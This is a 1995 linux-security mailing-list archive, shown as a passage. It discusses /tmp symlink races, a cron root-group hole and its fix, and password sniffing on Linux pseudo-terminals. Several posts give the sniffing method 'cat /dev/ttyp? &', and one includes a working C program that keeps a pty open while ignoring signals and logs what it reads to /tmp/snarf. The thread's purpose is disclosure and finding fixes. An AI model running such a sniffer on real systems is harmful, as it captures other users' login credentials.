reasons. So why not disable symlinks in world-writable directories as well? -- Yu.Shevchuk linux-security/1995/linux-security.950919100664 1767 1767 30613 6027665723 17302 0ustar majdommajdomFrom [email protected] Tue Sep 19 14:34:59 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA07494; Tue, 19 Sep 1995 14:11:13 -0400 Received: from iiit.swan.ac.uk ([email protected] [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id HAA06104; Tue, 19 Sep 1995 07:07:36 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: source routing To: [email protected] (Linas Vepstas) Date: Tue, 19 Sep 1995 12:07:07 +0100 (BST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Linas Vepstas" at Sep 16, 95 02:57:36 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1511 Sender: [email protected] Precedence: list > kernel: ICMP: 143.166.213.152: Source Route Failed > > Why? what do these messages mean? > > I did a traceroute 143.166.213.152 and note that > traceroute starts reporting an "infinite loop" at > some point (typically 20 or more hops away). By > "infinite loop" I mean that the same router starts > showing up over and over again, with no appearent > forward progress of the packet. What does this > mean?? It probably means someone is adding source routing options to your packets which is a bit naughty but sometimes done to mend certain routing awkwardnesses > So it would seem my packets left austin, went to houston, > bounced around the country for a while, and > finally came back to austin via houston. (Is that > why my internet provider charges those fees?) The internet routing is a mix of political, topological and historical policies, often cross provider routers go stupid ways. When links start dying you may see very strange routes followed by a failure. > Seriously, though -- should I assume that someone > has a packet sniffer installed on one of these > machines, and is listening to everything I say? > Should I be worried for any reason? Should I be > disabling something in my kernel? Is this what It doesnt indicate anyone is up to anything. You should however assume that anything you type across an internet link may be being sniffed. If that worries you use tools like SSLtelnet which are the internet equivalent of using a sealed envelope not a postcard. Alan From [email protected] Tue Sep 19 14:35:03 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA07502; Tue, 19 Sep 1995 14:12:09 -0400 Received: from tamarind.dcs.warwick.ac.uk ([email protected] [137.205.224.86]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id TAA28154; Mon, 18 Sep 1995 19:40:19 -0400 From: Zefram Message-Id: <[email protected]> Subject: Re: elm and /tmp/mbox.* To: [email protected] (Yury Shevchuk) Date: Tue, 19 Sep 1995 00:39:59 +0100 (BST) Cc: [email protected] In-Reply-To: from "Yury Shevchuk" at Sep 18, 95 10:37:00 am X-Loop: [email protected] X-Stardate: [-31]6309.93 MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2989 Sender: [email protected] Precedence: list >>This is a more general problem. Any program creating files in /tmp (not >>just elm) can cause the same problem if someone knows the name of temp >>file in advance and creates a symlink under that name. It would be nice >>to have a way to prevent creating symlinks in /tmp. The setuid bit on >>directories is not used for anything - maybe it could be used for that? >>If it is set, no one except root and the owner of the directory can >>create symlinks in it. This works even for very old programs which >>don't know anything about symlinks and lstat(). It shouldn't be too >>hard to implement in the kernel. Comments? I think it's excessive. Shell scripts that put temporary files in /tmp are unlikely to be fully safe any other way, but they generally don't check to see if they're writing into an existing file anyway. >Even simpler: since symlinks in *any* world-writable directory are >security holes, we'll do good by just prohibiting symlinks if >(dir_mode & 0x2). Bad idea. Symlinks are useful; they should definitely not be implicitly prohibited anywhere. Practical example: a world-writable directory acting as a link farm to image files. Under Marek's proposed semantics (re setuid bit on the directory), the owner of the directory would not want to prohibit symlinks, and there would be no security problem with this. >This might seem a bit too quick, but there are precedents: setuid >shell scripts are disabled in Linux for security reasons. So why not >disable symlinks in world-writable directories as well? I was under the impression that setuid shell scripts were not supported on Linux because (a) it makes the exec code a bit simpler and (b) they're a really bad idea, so you don't lose anything by not supporting them. Security reasons lead one to not create setuid shell scripts, not to remove support from the kernel. Has anyone noticed the way to avoid the symlink problem on existing systems? An open(2) with the O_EXCL flag will fail with EEXIST on just about any Unix if the pathname it is given is a symlink, regardless of whether or not it points to anything. mkdir(2) is similarly immune to symlinks. creat(2) is vulnerable, because the open() call it is equivalent to has the flags O_CREAT|O_TRUNC but not O_EXCL. So to create a temporary file without incurring the symlink problem (or risking splatting someone else's file if you're root), use O_EXCL, and check the return code. I'm not sure how well this will behave over NFS, but who has a non-local /tmp? In the case of Elm, it is broken by design, and O_EXCL is of limited use. (A trivial denial-of-service attack will still work.) It needs to put its temporary file in a directory writable only by the user. A possible way to do this (other than using home directories) is to create a directory under /tmp for each user, and not delete them. This would allow any program that knows about the arrangement to have a (relatively) safe directory for temporary files. -zefram From [email protected] Tue Sep 19 15:32:55 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA07908; Tue, 19 Sep 1995 15:26:48 -0400 Received: from red.aa.net ([email protected] [204.157.221.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id OAA07469; Tue, 19 Sep 1995 14:05:21 -0400 Received: (from baron@localhost) by red.aa.net (8.6.12/8.6.9) id LAA22198; Tue, 19 Sep 1995 11:05:11 -0700 Date: Tue, 19 Sep 1995 11:05:11 -0700 (PDT) From: Joe Portman To: [email protected] Subject: Problem with /dev/ttyp* Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I just discovered a user sniffing passwords by doing the following on my system. Kernel 1.2.11 cat /dev/ttyp? & It does not work every time, but occasionally it captures the login name and password of a careless user. It also prevents telnet logins on that ptyp/ttyp pair. 1. Is this a known bug? If so, how to fix it. 2. If not, can you think of a workaround. I tried removing read permissions from the tty[p-s] series, but they come back after a telnet session exits. Any help is greatly appreciated. ----------------------------------------------------------------------------- Joe Portman - Alternate Access Inc. Affordable, Reliable Internet [email protected] Mercer Island: (206) 230-8732 Seattle: (206) 443-3408 Tacoma: (206) 927-6010 Federal Way: (206) 838-8457 Bellevue: (206) 455-8414 For free trial account: set modem to 8-n-1, login as "new" For questions or support, call our voice line (206) 728-9585. ----------------------------------------------------------------------------- From [email protected] Tue Sep 19 21:17:59 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id VAA11419; Tue, 19 Sep 1995 21:08:48 -0400 Received: from inorganic5.chem.ufl.edu ([email protected] [128.227.16.134]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id RAA09330; Tue, 19 Sep 1995 17:58:36 -0400 Received: (from jlewis@localhost) by inorganic5.chem.ufl.edu (8.6.11/8.6.9) id RAA07616; Tue, 19 Sep 1995 17:58:40 -0400 Date: Tue, 19 Sep 1995 17:58:39 -0400 (EDT) From: Jon Lewis To: Joe Portman cc: [email protected] Subject: Re: Problem with /dev/ttyp* In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 19 Sep 1995, Joe Portman wrote: > cat /dev/ttyp? & > > It does not work every time, but occasionally it captures the login name > and password of a careless user. It also prevents telnet logins on that > ptyp/ttyp pair. > > 1. Is this a known bug? If so, how to fix it. Looks known now...it works here too. :-) > 2. If not, can you think of a workaround. I tried removing read permissions > from the tty[p-s] series, but they come back after a telnet session exits. They probably came back because in sys_term.c of the telnetd source they do: (void) chmod(line, 0666); (void) chown(line, 0, 0); at logout on the tty/pty pair. The question is, is there a reason for this. I don't see one...and will try changing the mode to 0600 and compiling real soon...but I've had bad luck compiling most of the stuff from the Netkits. ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ From [email protected] Tue Sep 19 21:18:02 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id VAA11413; Tue, 19 Sep 1995 21:08:44 -0400 Received: from Viet.Viet.COM ([email protected] [204.71.75.49]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id SAA09563; Tue, 19 Sep 1995 18:29:26 -0400 Received: (from pfnguyen@localhost) by Viet.Viet.COM (8.7/8.7) id PAA04815; Tue, 19 Sep 1995 15:29:05 -0700 Date: Tue, 19 Sep 1995 15:29:02 -0700 (PDT) From: Perry F Nguyen Reply-To: [email protected] To: Joe Portman cc: [email protected] Subject: Re: Problem with /dev/ttyp* In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 19 Sep 1995, Joe Portman wrote: > I just discovered a user sniffing passwords by doing the following on > my system. > Kernel 1.2.11 > cat /dev/ttyp? & > It does not work every time, but occasionally it captures the login name > and password of a careless user. It also prevents telnet logins on that > ptyp/ttyp pair. > 1. Is this a known bug? If so, how to fix it. This is a known security problem in all Unix's. > 2. If not, can you think of a workaround. I tried removing read permissions > from the tty[p-s] series, but they come back after a telnet session exits. The only effective way I've found to prevent this from happening is to rewrite /bin/login to chmod() the tty to mode 600 before reading the username/password and then chowning the tty to the owner.tty and then mode 620. I've so far seen no other possible way around this problem. Forcing a default permission of 660 root.tty broke many applications that cannot/will not run setuid, ie. splitvt, cmdtool, ytalk, etc. anything that uses a pty. -- pub 2047/848251A1 1995/08/01 Perry Francis Nguyen Key fingerprint = 9F A5 F1 29 0B EF 3A 1A 3D D4 8C B1 36 13 71 C1 - FTP ftp://ftp.netcom.com/pub/pf/pfn FTP or finger [email protected] for PGP Public Key. linux-security/1995/linux-security.950920100664 1767 1767 22246 6030104761 17255 0ustar majdommajdomFrom [email protected] Wed Sep 20 15:40:45 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA21648; Wed, 20 Sep 1995 15:16:00 -0400 Received: from iiit.swan.ac.uk ([email protected] [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id OAA21445; Wed, 20 Sep 1995 14:37:46 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Problem with /dev/ttyp* To: [email protected] Date: Wed, 20 Sep 1995 19:36:07 +0100 (BST) Cc: [email protected], [email protected] In-Reply-To: from "Perry F Nguyen" at Sep 19, 95 03:29:02 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 548 Sender: [email protected] Precedence: list > > 1. Is this a known bug? If so, how to fix it. > This is a known security problem in all Unix's. No its a stupid bug in some programs. All modern systems should be secure against this attack. Linux needs fixing ASAP. > The only effective way I've found to prevent this from happening is to > rewrite /bin/login to chmod() the tty to mode 600 before reading the > username/password and then chowning the tty to the owner.tty and then > mode 620. This is unlikely to be adequate. Permissions are applied on open not on read/write calls. Alan From [email protected] Wed Sep 20 15:40:45 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA21625; Wed, 20 Sep 1995 15:11:38 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id OAA21533; Wed, 20 Sep 1995 14:54:40 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0svUHd-0005AwC; Wed, 20 Sep 95 20:54 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0svUuk-00005AC; Wed, 20 Sep 95 21:34 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Listening on /dev/ttyp* To: [email protected] Date: Wed, 20 Sep 1995 21:34:38 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2337 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi all, I've done some more testing on this, and got the following results with 1.2.10 (yeah, I'm not really on the bleeding edge): * telnetd as of NetKit-0.5 does not protect you from anyone snooping on your pty. I guess we know that by now. There's some code in sys_term.c that does a vhangup on the pty, but it's commented out for Linux. The comment says that this appears to be buggy * Using login from util-linux-2.2 helps a bit. If you do a cat /dev/ttyp0, it will terminate once login is executed by telnetd. That's because login *does* do a vhangup. * Unfortunately, this is not the end of it. I experimented a little, and found that a program that ignores all signals *and* makes the pty its controlling tty will happily live on, and is still able to read data from it. I'm including it below. What I do not understand is why this does not make telnetd fail when doing an ioctl(TIOCSCTTY). Anyone more familiar with this stuff may be able to shed some light on this (Ted?). Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - ------------------------------------------------------------------ /* * simple test program for. Not my usual standard of coding... */ #include #include #include #include #include #include int main(int argc, char **argv) { char buffer[256]; FILE *fp; int fd, i, n; for (i = 0; i < 256; i++) close(i); setsid(); if ((fd = open(argv[1], O_RDWR)) < 0) { perror("open"); return 2; } if (ioctl(fd, TIOCSCTTY, NULL) < 0) perror("ioctl"); if ((fp = fopen("/tmp/snarf", "w")) == NULL) return 2; for (i = 0; i < 32; i++) signal(i, SIG_IGN); while ((n = read(fd, buffer, 255)) > 0) { buffer[n] = 0; fprintf(fp, "got %s\n", buffer); } perror("read"); return 2; } -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMGBsa+FnVHXv40etAQHL7QQAgCrvfxjzQlCpNGv+ZNXLM1pF9U6G8JGJ yM89BO+uTBjh9SmFr/yX93l4zveoxqYXnQRc30+JQGBI6Q96fwtPrTyNVU2+UodS K+uCmr9p2Hu5mpLGD4RFFK/P6KANNXR2DR7fmBaytD/GgkuiixNbaQ6/j+a6kgmc u6xcgUx8K3g= =ztbx -----END PGP SIGNATURE----- From [email protected] Wed Sep 20 15:40:45 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA21619; Wed, 20 Sep 1995 15:11:26 -0400 Received: from vancouver.wsu.edu ([email protected] [192.94.21.64]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id OAA21464; Wed, 20 Sep 1995 14:39:04 -0400 Received: (user ade) by vancouver.wsu.edu for [email protected] (Smail3.1.29.1 #2) id m0svU2C-0001bMC; Wed, 20 Sep 95 11:38 PDT Message-Id: Date: Wed, 20 Sep 95 11:38 PDT From: [email protected] (Adrian Miranda) To: [email protected] CC: [email protected] Subject: Re: Problem with /dev/ttyp* In-Reply-To: References: Reply-To: Adrian Miranda Sender: [email protected] Precedence: list Perry F. Nguyen writes: > On Tue, 19 Sep 1995, Joe Portman wrote: > > > I just discovered a user sniffing passwords by doing the following on > > my system. > > Kernel 1.2.11 > > > cat /dev/ttyp? & > > > It does not work every time, but occasionally it captures the login name > > and password of a careless user. It also prevents telnet logins on that > > ptyp/ttyp pair. > > > 1. Is this a known bug? If so, how to fix it. > > This is a known security problem in all Unix's. I once heard that System V style pseudo ttys are more secure, anyone know if that is true? > > 2. If not, can you think of a workaround. I tried removing read permissions > > from the tty[p-s] series, but they come back after a telnet session exits. > The only effective way I've found to prevent this from happening is to > rewrite /bin/login to chmod() the tty to mode 600 before reading the > username/password and then chowning the tty to the owner.tty and then > mode 620. I don't think this will work if the rogue process already has the tty open before you do the chmod. An "fuser -k" on the device after you do the chmod seems to be pretty effective, though probably not perfect. Actually, doing an "fuser -k" seems particularly useful on Linux, since Linux seems highly prone to leaving processes lying around on ptys after someone logs out, especially if their session ends in an abnormal fashion. I think I've seen this on most/all Unix systems, but Linux seems worse, perhaps because (I'm told) it only sends a SIGHUP to the process group leader when someone disconnects unexpectedly. Adrian From [email protected] Wed Sep 20 17:38:39 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA22360; Wed, 20 Sep 1995 17:35:14 -0400 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id QAA21942; Wed, 20 Sep 1995 16:22:29 -0400 Received: from DCL.MIT.EDU by MIT.EDU with SMTP id AA14524; Wed, 20 Sep 95 16:22:03 EDT Received: by dcl.MIT.EDU (5.0/4.7) id AA23699; Wed, 20 Sep 1995 16:22:15 -0400 Date: Wed, 20 Sep 1995 16:22:15 -0400 From: "Theodore Ts'o" Message-Id: <[email protected]> To: Adrian Miranda Cc: [email protected], [email protected] In-Reply-To: Adrian Miranda's message of Wed, 20 Sep 95 11:38 PDT, Subject: Re: Problem with /dev/ttyp* Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Content-Length: 996 Sender: [email protected] Precedence: list Date: Wed, 20 Sep 95 11:38 PDT From: [email protected] (Adrian Miranda) I don't think this will work if the rogue process already has the tty open before you do the chmod. That's what the vhangup() system call is supposed to do. Although I haven't had time to analyze what telnetd/login is doing, it's probably not calling vhangup() at the right time. Note that vhangup() only works on the controlling tty --- so you have to obtain the tty as a controlling tty, do a vhangup(), and then reacquire it as a controlling tty. While you're doing the vhangup, you need to keep a file discriptor open on the tty, to prevent someone else from acquiring the master pty (remember, master pty opens are exclusive opens). One of the problems here is that vhangup() isn't completely portable, so what's secure on one operating system isn't necessarily secure on another system. BSD 4.4 doesn't have vhangup() at all; I'm not sure how they handle this particular problem. - Ted linux-security/1995/linux-security.950921100664 1767 1767 10253 6030271467 17261 0ustar majdommajdomFrom [email protected] Thu Sep 21 04:52:18 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA28591; Thu, 21 Sep 1995 04:39:08 -0400 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id VAA25694; Wed, 20 Sep 1995 21:45:38 -0400 Received: by dfw.net (4.1/SMI-4.1) id AA16330; Wed, 20 Sep 95 20:43:27 CDT Date: Wed, 20 Sep 1995 20:43:25 -0500 (CDT) From: Aleph One To: [email protected] Subject: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Anyone know anything more? Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 ---------- Forwarded message ---------- Date: Thu, 21 Sep 95 01:58 BST From: Ian Jackson To: Debian package announcements Subject: cron 3.0pl1-20: URGENT SECURITY FIX There is a major security hole in cron 3.0pl1-19 and earlier, allowing any user to gain access to the `root' group. On many (most?) systems this will quickly allow them to gain superuser access. I am currently uploading cron-3.0pl1-20.deb using my 2400-baud modem. In the meantime, please disable your cron daemon: # killall cron # chmod 400 /usr/sbin/cron Ian M.: please replace the cron in the binary directory with this one immediately. The source will arrive tomorrow - my modem is too slow to get it uploaded today. If you download from Incoming, please check the file size - the binary package file is 27737 bytes. cron (3.0pl1-20); priority=URGENT * cron now uses initgroups when running jobs. Bug#1400. AARGH! -- Ian Jackson Thu, 21 Sep 1995 01:44:11 +0100 169cec1ee4387c994798608385826363 cron-3.0pl1-20.deb e9b26cb21aac62dcee5d443ce6dd7ab4 cron-3.0pl1-20.diff.gz 29655e14fff95cd477f1b3775d85d8d2 cron-3.0pl1-20.tar.gz -rw-r--r-- 1 root root 27737 Sep 21 01:52 cron-3.0pl1-20.deb -rw-rw-r-- 1 ian ian 10093 Sep 21 01:50 cron-3.0pl1-20.diff.gz -rw-rw-r-- 1 ian ian 66738 Sep 21 01:50 cron-3.0pl1-20.tar.gz From [email protected] Thu Sep 21 10:14:09 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id JAA29451; Thu, 21 Sep 1995 09:55:57 -0400 Received: from oxmail3.ox.ac.uk (oxmail3.ox.ac.uk [163.1.2.9]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id FAA28804; Thu, 21 Sep 1995 05:53:05 -0400 Received: from sable.ox.ac.uk by oxmail3 with SMTP (PP); Thu, 21 Sep 1995 10:52:37 +0100 Received: (from mbeattie@localhost) by sable.ox.ac.uk (1.5/8.6.12) id KAA01038; Thu, 21 Sep 1995 10:52:49 +0100 From: Malcolm Beattie Message-Id: <[email protected]> Subject: Re: Problem with /dev/ttyp* To: [email protected] (Theodore Ts'o) Date: Thu, 21 Sep 1995 10:52:49 +0000 (BST) Cc: [email protected] In-Reply-To: <[email protected]> from "Theodore Ts'o" at Sep 20, 95 04:22:15 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1523 Sender: [email protected] Precedence: list [mod: quoting trimmed --okir] Theodore Ts'o writes: > One of the problems here is that vhangup() isn't completely portable, so > what's secure on one operating system isn't necessarily secure on > another system. BSD 4.4 doesn't have vhangup() at all; I'm not sure how > they handle this particular problem. Surely if it's done the POSIX way then you don't need vhangup? The login process should become a session leader with setsid() and then acquire a pseudo-terminal as controlling terminal (see POSIX 7.1.1.3). Once it's done that, processes in any other session that try to read from/write to that terminal should get EOF on reads and EIO on writes (7.1.1.10). --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services linux-security/1995/linux-security.950923100664 1767 1767 47527 6031113605 17267 0ustar majdommajdomFrom [email protected] Sat Sep 23 19:24:36 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA07824; Sat, 23 Sep 1995 18:57:50 -0400 Received: from pacifier.com ([email protected] [199.2.117.161]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id NAA30354; Thu, 21 Sep 1995 13:29:57 -0400 Received: (user ade) by pacifier.com for [email protected] (Smail3.1.29.1 #6) id m0svpRT-00090yC; Thu, 21 Sep 95 10:29 PDT Message-Id: Date: Thu, 21 Sep 95 10:29 PDT From: [email protected] (Adrian Miranda) To: Joe Portman CC: [email protected] Subject: Re: Problem with /dev/ttyp* In-Reply-To: References: Reply-To: Adrian Miranda Sender: [email protected] Precedence: list Joe Portman writes: ... [ In reference to using fuser -k on a pty to make sure no processes ... are using it] > fuser has been broken for many kernel revisions now. It will not work on > ttys (or other files for that matter). > > Has anybody got a working version of fuser for 1.2.8 or later? I fixed my version of fuser, but I seem to have lost the source code. The way I fixed it was to get it to do readlink on the /proc stuff instead of stat, and then match the link name against the file or device I'm checking. I'm sorry I can't send you the source, but I'm pretty sure there is a fixed version floating around the net. (I think it used a different/better fix, I believe it involved opening the "files" in /proc and running fstat on the descriptor, then matching the results against the file or device your checking). Adrian From [email protected] Sat Sep 23 19:24:35 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA07846; Sat, 23 Sep 1995 19:01:57 -0400 Received: from jurix.jura.uni-sb.de ([email protected] [134.96.116.11]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id HAA19937; Wed, 20 Sep 1995 07:46:43 -0400 Received: (from florian@localhost) by jurix.jura.uni-sb.de (8.6.12/8.6.9) id NAA18015; Wed, 20 Sep 1995 13:46:02 +0200 From: Florian La Roche Message-Id: <[email protected]> Subject: Re: Problem with /dev/ttyp* To: [email protected] (Jon Lewis) Date: Wed, 20 Sep 1995 13:46:01 +0200 (MET DST) Cc: [email protected], [email protected] Reply-To: [email protected] In-Reply-To: from "Jon Lewis" at Sep 19, 95 05:58:39 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2230 Sender: [email protected] Precedence: list > > On Tue, 19 Sep 1995, Joe Portman wrote: > > > cat /dev/ttyp? & > > > > It does not work every time, but occasionally it captures the login name > > and password of a careless user. It also prevents telnet logins on that > > ptyp/ttyp pair. > > > > 1. Is this a known bug? If so, how to fix it. > > Looks known now...it works here too. :-) The real problem is getty_ps, which has still a "chmod 666" in it, so that the time, people can start that "cat /dev/tty..." is pretty long. Fixing that, will give you a very short amount of time to do this. But you are right, that also telnetd should be changed to not do a "chmod 666" on exit. It should be "chmod 600" in my opinion. Another possible fix would be to open the tty, put correct perms/owner in it, close it and reopen it again. Then we don't have that small time between open and setting up things. > > > 2. If not, can you think of a workaround. I tried removing read permissions > > from the tty[p-s] series, but they come back after a telnet session exits. > > They probably came back because in sys_term.c of the telnetd source they do: > (void) chmod(line, 0666); > (void) chown(line, 0, 0); > at logout on the tty/pty pair. > > The question is, is there a reason for this. I don't see one...and will > try changing the mode to 0600 and compiling real soon...but I've had bad > luck compiling most of the stuff from the Netkits. The NetKits are in a really bad state. As I work currently most time on my jurix-elf distribution (susix.jura.uni-sb.de), you will still have to wait some more time for a new release. I plan to reapply all linux patches to a newer set of source code from the NetBSD people. But doing this takes some time. If there are some more volunteers to help, that would be great. (Current state of the art is on susix.jura.uni-sb.de/pub/linux/source/ networking/new/. That machine has also an Incoming dir /pub/linux/Incoming.) If anybody is has suggestions on how to improve things, just email me. I have recompiled my NetKits for my elf distribution, but didn't save my changes. :-( (Hmm, I have looked at those things at about the beginning of the year. It's time to make new NetKits, I know...) Florian From [email protected] Sat Sep 23 19:24:38 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA07832; Sat, 23 Sep 1995 18:58:38 -0400 Received: from pacifier.com ([email protected] [199.2.117.161]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id LAA29900; Thu, 21 Sep 1995 11:57:09 -0400 Received: (user ade) by pacifier.com for [email protected] (Smail3.1.29.1 #6) id m0svnzj-00091NC; Thu, 21 Sep 95 08:57 PDT Message-Id: Date: Thu, 21 Sep 95 08:57 PDT To: "Theodore Ts'o" CC: [email protected] Subject: Re: Problem with /dev/ttyp* In-Reply-To: <[email protected]> References: <[email protected]> From: Adrian Miranda Sender: [email protected] Precedence: list Theodore Ts'o writes: > Date: Wed, 20 Sep 95 11:38 PDT > From: [email protected] (Adrian Miranda) > > I don't think this will work if the rogue process already has the tty > open before you do the chmod. > > That's what the vhangup() system call is supposed to do. Although I > haven't had time to analyze what telnetd/login is doing, it's probably > not calling vhangup() at the right time. Note that vhangup() only works > on the controlling tty --- so you have to obtain the tty as a > controlling tty, do a vhangup(), and then reacquire it as a controlling > tty. While you're doing the vhangup, you need to keep a file discriptor > open on the tty, to prevent someone else from acquiring the master pty > (remember, master pty opens are exclusive opens). I don't seem to have any docs on what vhangup does on 4.3BSD, but the linux manual page says it simulates a hangup, which presumably would just mean sending a SIGHUP, which could be ignored by a rogue process. I thought even on BSD a program could ignore it if it wanted to. Does it kill absolutely everything that has the device open? For security, I believe we need to do kill -9 on anything that has the device open. I vaguely recall vhangup was deprecated or dropped from BSD because it was useless, but I couldn't say. Anyone know for sure? Adrian From [email protected] Sat Sep 23 19:24:34 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA07948; Sat, 23 Sep 1995 19:18:42 -0400 Received: from elwha.evergreen.edu (elwha.evergreen.edu [192.211.16.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id EAA19091; Wed, 20 Sep 1995 04:23:55 -0400 Received: by elwha.evergreen.edu; (5.65/1.1.8.2/16Jan95-8.2MPM) id AA23865; Wed, 20 Sep 1995 01:29:30 -0700 Date: Wed, 20 Sep 1995 01:29:30 -0700 (PDT) From: matt sommer To: Joe Portman Cc: [email protected] Subject: Re: Problem with /dev/ttyp* In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 19 Sep 1995, Joe Portman wrote: > > I just discovered a user sniffing passwords by doing the following on > my system. > Kernel 1.2.11 > > cat /dev/ttyp? & > > It does not work every time, but occasionally it captures the login name > and password of a careless user. It also prevents telnet logins on that > ptyp/ttyp pair. *ouch* ... actually i was only able to replicate this in a minimal way... basically this type of attack assumes that the user running the remote session will type their passwd after the login prompt, even though they get no passwd prompt... i am running v1.2.3 ( its a bit hacked up tho ) ... if this is what u mean when u refer to a "careless" user, id have to agree that its pretty painful... > 1. Is this a known bug? If so, how to fix it. actually, u can do this sort of thing on a few commercial flavors where the shadow suite or some variant isnt installed... if u install the shadow suite, there is a variable in login.defs ( the config file for the suite ) that allows u to set tty perms explicitly ( TTYPERM ) which can then be set to 0600... it also does group ownership of the ttyp's properly so that if u sgid write(1) it will still work ( in this case write should be sgid tty )... it works for me, in any case... if u do decide to install this suite be sure and get "cracklib" which provides a pro-active means of checking new passwds ( the builtin stuff is pretty minimal ) via hooks in the src... u should not depend on cracklib: although it will catch the majority of dictionary words, it chokes on things like "/dev/null"... i really havent bothered to look into it too much as running crack regularly will often catch that sort of thing... the shadow suite will also correct the problem u outline below... the whole security through obscurity vs. proactive checking was flogged to death on this list a while back, so u might want to browse some of the digests to get a broader perspective... > 2. If not, can you think of a workaround. I tried removing read permissions > from the tty[p-s] series, but they come back after a telnet session exits. ^^^^^^^^^^^^^^ > Any help is greatly appreciated. hope that helps... cu, m. ----- MD5 (/dev/null) = d41d8cd98f00b204e9800998ecf8427e From [email protected] Sat Sep 23 19:24:34 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA07923; Sat, 23 Sep 1995 19:15:47 -0400 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id SAA31660; Thu, 21 Sep 1995 18:49:12 -0400 Received: from DCL.MIT.EDU by MIT.EDU with SMTP id AA27107; Thu, 21 Sep 95 18:48:40 EDT Received: by dcl.MIT.EDU (5.0/4.7) id AA24754; Thu, 21 Sep 1995 18:49:00 -0400 Date: Thu, 21 Sep 1995 18:49:00 -0400 From: "Theodore Ts'o" Message-Id: <[email protected]> To: Adrian Miranda 